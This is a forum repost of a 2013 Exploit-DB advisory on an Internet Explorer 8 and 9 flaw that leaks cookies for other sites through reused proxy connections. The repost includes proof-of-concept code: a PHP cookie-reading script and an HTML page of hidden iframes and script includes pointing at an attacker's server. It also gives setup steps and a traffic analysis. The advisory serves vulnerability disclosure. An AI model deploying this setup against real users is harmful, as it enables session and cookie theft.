thehat Posted February 21, 2013 Report Posted February 21, 2013 Internet Explorer 8 & Internet Explorer 9 - Steal any Cookie# Exploit Title: Internet Explorer 8 & Internet Explorer 9 steal any Cookie# Date: 27.01.2013# Exploit Author: Christian Haider; Email: christian.haider.poc @ gmail*dot* com; linkedin: Christian Haider, CISSP | LinkedIn# Category: remote# Vendor Homepage: Microsoft România | Dispozitive ?i servicii# Version: IE 8, IE 9# Tested on: Windows 7, Windows XP# CVE : CVE-2013-1451Disclaimer----------The information in this advisory and any of its demonstrations is provided"as is" without any warranty of any kind. I am not liable for any direct orindirect damages caused as a result of using the information ordemonstrations provided in any part of this advisory. Educational useonly..!!----------This vulnerability regarding Internet Explorer 8 & 9 was reported toMicrosoft in December 2011 (ID is [12096gd]). Although the vulnerabilitycan be used to steal cookies it has not been rated as a high riskvulnerability. As a consequence of that we will never see an update for IE8 & IE 9 and rather have to wait for a fix in IE 10. Only requirement for asuccessful exploit is that IE uses the same proxy for HTTP and HTTPS.I consider this a high risk vulnerability and a simple configuration changecould mitigate the risk. To make the public aware of this threat I madethis vulnerability public.CVE-ID has not been issued yet.Vulnerability discovered by: Christian Haider; Email: christian.haider.poc@ gmail *dot* comLinkedin: Christian Haider, CISSP | LinkedInPoC Video on Youtube = http://youtu.be/MNqGFoHHMawPoC Files:- info.php = http://pastebin.com/download.php?i=bPDDwJY4<?phpprint_r($_SERVER['HTTP_HOST']);echo '<br/>';// A way to view all cookies//print_r($_COOKIE);$cookie=$_COOKIE;foreach ($cookie as $key=>$val) echo "$key--> HIDDEN; "; ?> ?>- video.html = http://pastebin.com/download.php?i=KXYX3pv1<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>Vul Test</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head> <body><form name="input" action="http://www.facebook.com/info.php" method="post"> Facebook.com <input type="submit" value="Submit"></form><form name="input" action="http://www.google.com/info.php" method="post"> Google.com <input type="submit" value="Submit"></form><form name="input" action="https://www.google.com" method="get"> https://www.google.com <input type="submit" value="Submit"></form><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><script type="text/javascript" src="https://web02.local.home:8080/script.js"></script><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><iframe src="https://web02.local.home:8080/info.php" width="0" height="0"></iframe><br/><iframe src="http://www.facebook.com/info.php" width="900" height="100"></iframe><br/><iframe src="http://www.google.com/info.php" width="900" height="100"></iframe><br/><iframe src="http://www.linkedin.com/info.php" width="900" height="100"></iframe><br/><iframe src="http://account.live.com/info.php" width="900" height="100"></iframe><br/><iframe src="http://www.dropbox.com/info.php" width="900" height="100"></iframe> </body></html>- script.js (empty file)Timeline:Discovered (12.12.2011)Reported to Vendor (16.12.2011)Confirmed by Vendor (09.01.2012)Proof of Concept (27.01.2013)Made Public (28.01.2013)After a short walkthrough of the setup I will demonstrate the result.1. Install a proxy server of your choice. We use squid for now.2. Install a webserver. We use apache for now.a. Make the webserver listen for http traffic on port 80b. Make the webserver listen for https traffic on the same port as theproxy does. In our example Squid works on 4433. Due to the lack of an approved certificate for our website we have toimport the https certificate into our key store. If you got a publichostname and a certificate for than it this step is not necessary4. Let?s check that the client and the proxy resolve the hostnames to thecorrect IP addresses (web01.local.home, web02.local.home, Google,www.facebook.com, and so on)5. Setup a website with lots of data to be fetched from our https website.The result is that lots of connections get established6. After that we request some data from the actual target website. In ourexample we use Facebook, linkedin, dropbox, ?7. As you can see in our example we send all cookies to the wrong websiteand display the data using a php script. I do only show the names of thecookies instead of the actual data but be assured that the whole cookiegets sent8. This is not limited to external websites. Even cookies used inside acompany can get stolen the very same way. Imagine you use SAML toauthenticate to Office 365 or other SaaS products.9. This works out of the box with XP and apache. Windows 7 does include thehostname in each request and apache does check this field [RFC 6066].10. You have to customize and build apache to remove that check.Nevertheless the actual information was sent on Windows 7 as well. Afterall this check is carried out on the webserver.11. Let?s ping the proxy and do a single post so we can narrow in once weanalyze the traffic12. One even scarier thing happens if you do the following. First open ourspecial crafted website. Then move on to https://www.google.com; afterwardsopen another website like http://virusscan.jotti.org/info.php13. As you can see IE thinks it is connected securely but when you have acloser look than you will see that IE thinks it is connected toGoogle but it ended up on our webserver14. Sometimes IE crashed once you close it after you played around withthis website which might indicate that there are some loose references orother vulnerabilities you could exploitAnalyze what happens:=====================How ends that data up being sent to the wrong webserver?First we have a look what our special crafted website looks like. You willsee it is not that special.We have 3 forms with a submit button and several includes of script.jsfollowed by several iframes of info.php;The last 5 iframes are to facebook, google, linkedin, and so on.What we expect IE to carry out:1. Get our crafted website2. Build https connection and download script.js fromhttps://web01.local.home:80803. Build https connection and download info.php fromhttps://web01.local.home:80804. Use a normal connection to download content from facebook, google,linkedin, and so onWe use wireshark to have a look if that is true:1. We see the GET of our crafted website and the unencrypted traffic whichsays nothing has changed2. We see 12 connect for the 39 requests over https. That means we reusethe connections!3. Search for any other GET or POST which should be unencrypted --> Thereare no4. What happened to the requests? Let?s have a look at the very end. Rightafter we started the ping command, there should be a request5. It is tunneled over the https connection which ends at our craftedwebsiteConclusion: After several connections are opened IE starts to reuse them.Unfortunately it seems that the proxy component of IE does not keep trackof the actual target of the connections.This results in GET/POST REQUEST getting tunneled through an SSL connectionto the wrong webserver.The proxy server does not even see what is going on within the SSLconnection so there is nothing it could do to prevent it. This might bedifferent if you scan inside of the SSL connection. RFC 6066 section 11.1specifies that web servers MUST check that the host header and host namesent via SNI match but does a proxy scan for such malfunction?Sursa: http://www.exploit-db.com/exploits/24432/ Quote
